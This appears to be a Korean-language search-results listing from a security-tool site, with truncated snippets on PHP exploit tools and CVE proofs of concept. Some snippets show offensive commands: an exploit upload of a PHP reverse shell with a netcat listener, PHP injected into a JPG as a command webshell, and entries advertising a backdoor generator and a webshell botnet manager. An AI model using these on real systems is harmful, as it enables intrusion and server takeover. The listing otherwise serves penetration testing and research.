96336 matches found
Remot3d
Remot3d - 익스플로잇을 위한 쉬운 방법 곧 업데이트 예정 순식간에 백도어를 만드는 것은 쉽습니다. 이 백도어는 PHP 언어 프로그램을 실행하는 서버의 Linux 터미널을 통해 원격 프로세스에서 사용할 수 있습니다. 서버에서 비활성화된 시스템을 우회하기 위해 만들어졌으며, 특히 민감한 파일인 /etc/passwd를 읽기 위한 것입니다. 후원 이 프로젝트가 침투 테스트에 많은 도움이 되었고 저를 지원하고 싶다면, 커피 한 잔 사주세요 : 스크린샷...
CVE-2015-6967
CVE-2015-6967 Nibbleblog 4.0.3 - 임의 파일 업로드 CVE-2015-6967 요구 사항 python 3 requests 사용법 root@kitploit: usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help show this help message and exit --url URL, -l URL --username USERNAME, -u...
CVE-2015-6967
CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php phprevshell.php 7번째 줄에서 $ip 변경 nc -lvnp 1234...
Inject-PHP-to-JPG-Using-Jhead
Jhead를 사용하여 JPG에 PHP 주입하기 $ pkg install vim or apt-get install vim $ pkg install jhead or apt-get install jhead $ jhead -h 도움말 보기 $ jhead -purejpg yourfiles.jpg $ jhead -ce yourfiles.jpg ESC를 누른 후 :x를 입력하여 저장하세요 $ jhead yourfiles.jpg 예시 : site.com/youfiles.php?cmd=Command Here...
quasibot
quasiBot quasiBot 0.3 - 리드미 07.08.14 개요 QuasiBot은 PHP로 작성된 복잡한 웹셸 관리자로, 사용자가 직접 구현한 웹 기반 백도어에서 작동합니다. 준비된 PHP 백도어를 사용하여 quasiBot은 각 백도어와 통신하려는 C&C 역할을 합니다. 이 도구는 스캐닝, 익스플로잇 등의 유용한 기능을 제공하므로 평범한 웹셸 관리자를 넘어섭니다. 준quasi-HTTP 봇넷이기 때문에 그렇게 불립니다. 또한 quasiBot을 사용하면 ftp, ssh 또는 데이터베이스와 같은 서비스에 다양한 브루트포스 공...
WordPress ShortPixel Image Optimizer – Optimize Images, Convert WebP & AVIF plugin <= 6.5.5 - Authenticated (Author+) PHP Object Injection vulnerability
Authenticated Author+ PHP Object Injection vulnerability discovered by Josh Bolding in WordPress Plugin ShortPixel Image Optimizer versions = 6.5.5...
CVE-2025-50866
CloudClassroom-PHP-Project 1.0은 postquerypublic 엔드포인트의 email 매개변수에 반사형 크로스사이트 스크립팅XSS 취약점을 포함하고 있습니다. 부적절한 이스케이프 처리로 인해 공격자가 사용자 브라우저의 컨텍스트에서 실행되는 임의의 JavaScript 코드를 주입할 수 있으며, 이로 인해 세션 하이재킹 또는 피싱 공격이 발생할 수 있습니다. 취약점 유형 : 크로스 사이트 스크립팅 XSS 제품 공급업체 :...
CVE-2021-40845
CVE-2021-40845 I. 취약점 AlphaWeb XE - 인증된 안전하지 않은 파일 업로드로 인한 RCE II. CVE 참조 CVE-2021-40845 III. 벤더 https://www.zenitel.com/ IV. 설명 Zenitel AlphaCom XE Audio Server 11.2.3.10까지의 웹 파트인 AlphaWeb XE는 php/index.php의 Custom Scripts 섹션에서 파일 업로드를 제한하지 않습니다. 업로드된 파일의 내용이나 확장자가 확인되지 않아 /cmd/ 디렉토리에서 PHP 코드 실행...
CVE-2023-36845
CVE-2023-36845 Juniper Networks Junos OS의 EX 시리즈 및 SRX 시리즈에 있는 J-Web의 PHP 외부 변수 수정 취약점으로 인해 인증되지 않은 네트워크 기반 공격자가 특정 환경 변수를 제어할 수 있습니다. 스크립트 사용법 root@kitploit: $ dos2unix CVE-2023-36845.sh $ CVE-2023-36845.sh example.com...
CVE-2019-11043-Docker
PHP-FPM CVE-2019-11043의 취약한 버전과 nginx를 포함한 도커 이미지입니다. 실행 docker run --rm -p8080:80 akamajoris/cve-2019-11043 웹 애플리케이션은 http://your-ip:8080/ 에서 접근할 수 있습니다. 익스플로잇 https://github.com/neex/phuip-fpizdam에서 바이너리를 빌드한 후, root@kitploit: root@debian:/gopath/bin curl...
joomla_rce_CVE-2015-8562
joomlarceCVE-2015-8562 Joomla! 3.4.6 미만의 모든 버전은 취약한 것으로 알려져 있습니다. 그러나 PHP 버전이 5.5.29, 5.6.13 및 5.5 미만인 경우에만 악용이 가능합니다. 데모 : https://www.youtube.com/watch?v=twqYpn1ir4o...
PHP-Injection-in-M4-PDF-Extensions
PHP-Injection-in-M4-PDF-Extensions CVE-2023-50029는 M4 PDF Extensions 모듈의 PHP 인젝션 취약점입니다. 이 취약점으로 인해 공격자는 서버에 임의의 PHP 코드를 주입 및 실행할 수 있으며, 이를 통해 대상 시스템에 대한 완전한 제어권을 획득할 수 있습니다. 문제는 입력값의 부적절한 검증에 있으며, 악성 코드가 사용자 파라미터를 통해 전달될 수 있습니다. PoC root@kitploit: POST /generatepdf.php HTTP/1.1 Host: example.com...
cve-2016-1555
설명 이 모듈은 Netgear WN604버전 3.3.3 미만 및 WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, WNDAP660버전 3.5.5.0 미만에서 인증되지 않은 임의 명령 실행 취약점을 활용합니다. 이 취약점은 라우터가 1 boardData102.php, 2 boardData103.php, 3 boardDataJP.php, 4 boardDataNA.php, 5 boardDataWW.php에서 오는 POST 요청을 처리하는 방식에서 발생합니다. 이 취약점은...
CVE-2021-29447
CVE-2021-29447 WordPress 5.6-5.7 PHP 8+ 인증 XXE 주입을 악용하기 위한 PoC. 이 CVE에 대한 자세한 내용은 여기에서 확인하세요. 예시 HackTheBox의 MetaTwo 머신XXE 주입에 취약한 미디어 라이브러리를 가진 WordPress 웹사이트에 대한 사용 예시. root@kitploit: python lfi.py -u manager -p partylikearockstar -t metapress.htb -lh 10.10.XX.XX -lp 8081 -w filewordlist 사용법...
CVE-2021-44967
CVE-2021-44967 - 인증된권한 있는 RCE LimeSurvey 버전 5.2.4의 플러그인 업로드 및 설치를 통한 인증된권한 있는 원격 명령 실행으로, 원격 사용자가 임의의 PHP 코드 파일을 업로드할 수 있습니다. 사용법 python3 exploit.py --url --user --password --lhost --lport 슈퍼관리자 사용자는 LimeSurvey 관리 패널을 통해 플러그인 모듈을 로드할 수 있습니다. 스크립트는 로컬에서 파일을 생성하고 압축한 다음 업로드합니다. 그 후 모듈을 설치, 활성화 및 실행...
Vulnerable-Lab-Exploitation
취약한-실습실-침투 가상 보안 실습실 구축, 네트워크 정찰, CVE-2012-1823 취약점 공격을 시연하는 실습형 프로젝트입니다. 취약한 실습실 구축 및 PHP CGI 취약점 공격 CVE-2012-1823 🎯 프로젝트 개요 이 프로젝트는 격리된 가상 실습 환경을 구축하여 전범위 침투 테스트를 수행하는 방법을 보여줍니다. 오래된 Linux 서버를 대상으로 실제 공격을 시뮬레이션하며, 네트워크 탐색부터 시작하여 무단 원격 접근 권한 획득까지 수행했습니다. 🛠️ 사용 도구 및 기술 하이퍼바이저: VirtualBox 공격자 OS:...
CVE-2021-3007-docker-poc
CVE-2021-3007 — Laminas/Zend HTTP 역직렬화 RCE 이 저장소는 Zend\Http\Response\Stream laminas-http Nuclei 익스플로잇 템플릿 ├── docker-compose.yml - 취약한 테스트 환경 ├── Dockerfile ├── vulnerable-app/ │ ├── index.php - unserialize 취약점이 있는 엔드포인트 │ └── composer.json - 취약한 종속성 ├── exploit.php - 독립 실행형 익스플로잇 스크립트 └──...
CVE-2024-8353
이 글은 EQSTLab이 발행한 연구 문서입니다. 이 취약점을 발견한cuokon에게 감사드립니다. 소개 CVE-2024-5932 추가 분석 EQST Insight R&TPDF 파일. https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021 CVE-2024-8353 ★ CVE-2024-8353 임의 파일 삭제 및 RCE PoC ★ 설명 CVE-2024-8353 : GiveWP PHP 객체 주입 취약점 설명: givewp – WordPress 기...